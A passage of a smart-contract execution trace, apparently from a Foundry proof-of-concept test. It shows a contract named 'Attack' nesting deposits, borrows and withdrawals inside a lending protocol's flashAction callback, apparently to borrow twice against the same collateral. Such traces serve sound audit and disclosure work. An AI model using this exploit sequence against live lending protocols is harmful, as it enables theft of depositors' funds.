│ │ │ │ ├─ emit Deposit(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
│ │ │ │ └─ ← [0]
│ │ │ ├─ [25273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [159563] Lending Pool::borrow(500000000000000000 [5e17], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x4b454b0000000000000000000000000000000000000000000000000000000000)
│ │ ├─ [797] Factory::ownerOfAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ └─ ← Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 500000000000000000 [5e17])
│ │ ├─ emit Deposit(caller: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], owner: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], assets: 500000000000000000 [5e17], shares: 500000000000000000 [5e17])
│ │ ├─ [57790] Proxy::increaseOpenPosition(500000000000000000 [5e17])
│ │ │ ├─ [57439] Account V1 Logic::increaseOpenPosition(500000000000000000 [5e17]) [delegatecall]
│ │ │ │ ├─ [52176] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
│ │ │ │ │ ├─ [6700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ ├─ [24943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ │ ├─ [19175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ ├─ [12963] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ ├─ [6860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
│ │ │ │ │ ├─ [7943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 0, 0
│ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ └─ ← 1
│ │ │ └─ ← 1
│ │ ├─ [22880] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
│ │ │ ├─ emit Transfer(from: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
│ │ │ └─ ← true
│ │ ├─ emit Borrow(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], by: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17], fee: 0, referrer: 0x4b454b0000000000000000000000000000000000000000000000000000000000)
│ │ ├─ emit PoolStateUpdated(totalDebt: 500000000000000000 [5e17], totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
│ │ └─ ← ()
│ ├─ [381562] Proxy::flashAction(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000003400000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000100000000000000000000000080ba393f366b0227603c4e91a19ae1ebd9a3c3880000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
│ │ ├─ [381035] Account V1 Logic::flashAction(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x00000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000220000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000003400000000000000000000000000000000000000000000000000000000000000360000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000000000000000000000000000000000000000000100000000000000000000000080ba393f366b0227603c4e91a19ae1ebd9a3c3880000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) [delegatecall]
│ │ │ ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← 0
│ │ │ │ ├─ emit Withdrawal(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
│ │ │ │ └─ ← [0]
│ │ │ ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← true
│ │ │ ├─ [235898] Attack::executeAction(0x)
│ │ │ │ ├─ [561] STABLE1::balanceOf(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]) [staticcall]
│ │ │ │ │ └─ ← 1500000000000000000 [1.5e18]
│ │ │ │ ├─ [111451] Proxy::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ │ │ │ ├─ [111058] Account V1 Logic::deposit([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [delegatecall]
│ │ │ │ │ │ ├─ [9651] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ │ │ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ │ │ │ └─ ← true
│ │ │ │ │ │ │ ├─ [4293] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
│ │ │ │ │ │ │ │ └─ ← 1, 0
│ │ │ │ │ │ │ ├─ emit Deposit(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c])
│ │ │ │ │ │ │ └─ ← [0]
│ │ │ │ │ │ ├─ [25273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], 1000000000000000000 [1e18])
│ │ │ │ │ │ │ ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 1000000000000000000 [1e18])
│ │ │ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [66798] Lending Pool::borrow(500000000000000000 [5e17], Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 0x4b454b0000000000000000000000000000000000000000000000000000000000)
│ │ │ │ │ ├─ [797] Factory::ownerOfAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ │ └─ ← Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b]
│ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], amount: 500000000000000000 [5e17])
│ │ │ │ │ ├─ emit Deposit(caller: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], owner: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], assets: 500000000000000000 [5e17], shares: 500000000000000000 [5e17])
│ │ │ │ │ ├─ [26290] Proxy::increaseOpenPosition(500000000000000000 [5e17])
│ │ │ │ │ │ ├─ [25939] Account V1 Logic::increaseOpenPosition(500000000000000000 [5e17]) [delegatecall]
│ │ │ │ │ │ │ ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
│ │ │ │ │ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
│ │ │ │ │ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 0, 0
│ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ └─ ← 1
│ │ │ │ │ │ └─ ← 1
│ │ │ │ │ ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
│ │ │ │ │ │ ├─ emit Transfer(from: Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
│ │ │ │ │ │ └─ ← true
│ │ │ │ │ ├─ emit Borrow(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], by: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17], fee: 0, referrer: 0x4b454b0000000000000000000000000000000000000000000000000000000000)
│ │ │ │ │ ├─ emit PoolStateUpdated(totalDebt: 1000000000000000000 [1e18], totalLiquidity: 1000000000000000000 [1e18], interestRate: 0)
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [42242] Proxy::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
│ │ │ │ │ ├─ [41849] Account V1 Logic::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [delegatecall]
│ │ │ │ │ │ ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
│ │ │ │ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ │ │ │ └─ ← true
│ │ │ │ │ │ │ ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17])
│ │ │ │ │ │ │ │ └─ ← 0
│ │ │ │ │ │ │ ├─ emit Withdrawal(account: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c])
│ │ │ │ │ │ │ └─ ← [0]
│ │ │ │ │ │ ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
│ │ │ │ │ │ │ ├─ emit Transfer(from: Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
│ │ │ │ │ │ │ └─ ← true
│ │ │ │ │ │ ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ │ │ │ ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [staticcall]
│ │ │ │ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17]) [staticcall]
│ │ │ │ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ └─ ← 500000000000000000000000000000 [5e29], 10000 [1e4], 10000 [1e4]
│ │ │ │ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 0, 0
│ │ │ │ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [2789] Proxy::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0)
│ │ │ │ │ ├─ [2432] Account V1 Logic::skim(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 0) [delegatecall]
│ │ │ │ │ │ ├─ [561] STABLE1::balanceOf(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ │ │ │ └─ ← ()
│ │ │ │ │ └─ ← ()
│ │ │ │ ├─ [2543] STABLE1::approve(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ │ │ │ ├─ emit Approval(owner: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], spender: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ ├─ [561] STABLE1::balanceOf(Proxy: [0xc9F7fa49C1981fcb70E655E150B3d134987f576c]) [staticcall]
│ │ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ │ └─ ← ActionData({ assets: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], assetIds: [0], assetAmounts: [1000000000000000000 [1e18]], assetTypes: [0] })
│ │ │ ├─ [6851] Registry::batchProcessDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]])
│ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [1493] Standard ERC20 Asset Module::processDirectDeposit(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← 1, 0
│ │ │ │ ├─ emit Deposit(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
│ │ │ │ └─ ← [0]
│ │ │ ├─ [23273] STABLE1::transferFrom(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], to: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [1000000000000000000 [1e18]]) [staticcall]
│ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 10000 [1e4], 10000 [1e4]
│ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(0x0000000000000000000000000000000000000000, STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 1000000000000000000 [1e18]) [staticcall]
│ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
│ │ │ │ │ │ │ ├─ [860] ArcadiaOracle::latestRoundData() [staticcall]
│ │ │ │ │ │ │ │ └─ ← 1, 1000000000000000000 [1e18], 172800 [1.728e5], 172800 [1.728e5], 1
│ │ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ │ │ └─ ← 1000000000000000000000000000000 [1e30], 0, 0
│ │ │ │ └─ ← 1000000000000000000 [1e18]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ [42242] Proxy::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
│ │ ├─ [41849] Account V1 Logic::withdraw([0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [delegatecall]
│ │ │ ├─ [6441] Registry::batchProcessWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]])
│ │ │ │ ├─ [619] Factory::isAccount(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ │ └─ ← true
│ │ │ │ ├─ [1318] Standard ERC20 Asset Module::processDirectWithdrawal(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17])
│ │ │ │ │ └─ ← 0
│ │ │ │ ├─ emit Withdrawal(account: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e])
│ │ │ │ └─ ← [0]
│ │ │ ├─ [2980] STABLE1::transfer(Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], 500000000000000000 [5e17])
│ │ │ │ ├─ emit Transfer(from: Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e], to: Attack: [0xCb5ee4F88a1B7107fbc4F8668218cEE5eCd3264b], amount: 500000000000000000 [5e17])
│ │ │ │ └─ ← true
│ │ │ ├─ [1294] Lending Pool::getOpenPosition(Proxy: [0x5Da84715127Fb812de3ca9357cF46Af10B8d037e]) [staticcall]
│ │ │ │ └─ ← 500000000000000000 [5e17]
│ │ │ ├─ [20676] Registry::getCollateralValue(STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], [0], [500000000000000000 [5e17]]) [staticcall]
│ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ ├─ [700] SequencerUptimeOracle::latestRoundData() [staticcall]
│ │ │ │ │ └─ ← 0, 0, 0, 0, 0
│ │ │ │ ├─ [5943] Standard ERC20 Asset Module::getValue(Lending Pool: [0xfB2B7acF86954f295E49fF172d13aE2B2344e236], STABLE1: [0x80ba393f366b0227603c4e91a19aE1ebD9a3c388], 0, 500000000000000000 [5e17]) [staticcall]
│ │ │ │ │ ├─ [4175] Registry::getRateInUsd(0x0000000000000000000000000000000000000000000000000000000000000005) [staticcall]
│ │ │ │ │ │ ├─ [2463] Chainlink Oracle Module::getRate(0) [staticcall]
